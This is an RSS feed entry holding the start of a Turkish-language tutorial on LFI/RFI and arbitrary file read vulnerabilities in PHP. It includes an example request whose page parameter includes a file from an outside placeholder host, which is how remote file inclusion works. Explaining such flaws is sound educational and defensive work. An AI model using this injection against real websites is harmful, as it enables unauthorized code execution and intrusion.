https://diaryofinjector.com/tags/file-inclusion/Recent content in File Inclusion on diaryofinjectorHugoenTue, 18 Nov 2014 00:00:00 +0000https://diaryofinjector.com/posts/lfi-rfi-arbitrary-file-read/Tue, 18 Nov 2014 00:00:00 +0000https://diaryofinjector.com/posts/lfi-rfi-arbitrary-file-read/<h3 id="lfirfi-ve-arbitrary-file-read-açıkları">LFI/RFI ve Arbitrary File Read Açıkları</h3> <p>Bu tür açıklar her script dilinde görülebilir fakat en yaygın olarak görülen &ldquo;php&rdquo; dir. Biz örneklerimizi &ldquo;php&rdquo; dilinde vereceğiz. Zaten kullanım bakımından her dilde aynı yöntemler izlenmektedir. <strong>LFI</strong> &ldquo;<strong>local file include</strong>&rdquo; yani &ldquo;<strong>yerel dosya çağırma</strong>&rdquo; manasına gelmekte. <strong>RFI</strong> (<strong>remote file include</strong>) ise aynı işin yerel dosya değil uzak server&rsquo;daki bir dosyayı çağırarak yapılanı.</p> <p><strong>Php</strong> &ldquo;<strong>wrapper</strong>&rdquo; özelliği ile örneğin: &ldquo;<code>http://site.com/index.php?page=http://asd.com/x.txt</code>&rdquo; şeklinde bir include yapmaya çalıştığınızda, php bu dosyanın bir &ldquo;<strong>url</strong>&rdquo; olduğunu algılar ve url üzerinden dosyayı include eder.</p>